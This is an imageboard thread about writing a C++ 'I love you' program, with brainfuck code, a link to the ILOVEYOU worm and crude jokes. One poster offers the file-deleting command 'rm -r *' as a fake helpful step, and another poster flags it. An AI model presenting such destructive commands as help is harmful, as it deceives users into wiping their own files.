c++

>>8882618
Write a brainfuck interpreter and give it this:

[code]-[------->+<]>.-[->++++<]>.++[--->++<]>.+++.+++++++.+[->+++<]>.--[--->+<]>-.--[->++++<]>+.----------.++++++.-[++>---<]>.[/code]

Then tell her you want to fuck her brain.

https://en.wikipedia.org/wiki/Obfuscation_(software)

>>8882618
>>>/g/
Programming is not science.

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>>8882645

>>8882618
Port this
https://en.wikipedia.org/wiki/ILOVEYOU

>>8882618
You could at least let the console print it letter by letter. Get the text from a file, split the lines into chars and then make breaks between the printout with usleep or so.

You can state an inequality with the variables i and u, such that when solved it looks like
i<3u
works 9.9999/10 times with normies

>>8883586
>Solves to 3u>i
"Okay anon I finished your stupid math question, what was the point again?"

>>8883616
well if they dont see it when having this solution you just stop caring cause they are too stupid

>>8882618
Write every character as its ASCII code with a bit shift and output everything as a stream in cout while unshifting and casting the numbers as chars at the same time. It will be hard to read because the bit shift and stream operator are the same.

>>8882618
FUCK OFF NORMIE REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

>>8882655
does anyone have the source for this?

>>8883896
SICP first lecture

>ya dip!

>>8882618

If you are on a mac, open the terminal (it can be found in applications->utilities->terminal).

then type:

rm *

next type:

gcc -o I LOVE YOU

>>8883947

sorry, I screwed up the first command, should be:

rm -r *

>>8883947
Thx anon but i have a pc

>>8883962

whelp, in that case you don't need my help since you're already fucked

>>8883947
>>8883952
>rm -r *

I'm new to /sci/, so I can't tell if people can tell this guy is a troll or not.

But FYI "rm" means remove, "-r" flag stands for doing it recursively, "*" means do that for everything.

>>8882618

Nobody is gonna help you on your pathetic quest to get stacy to fuck you through C++

use assembly? C++ supports inline assembly.

>>8883947
>>8883952
>>8883977
>>8884034
>>>/g/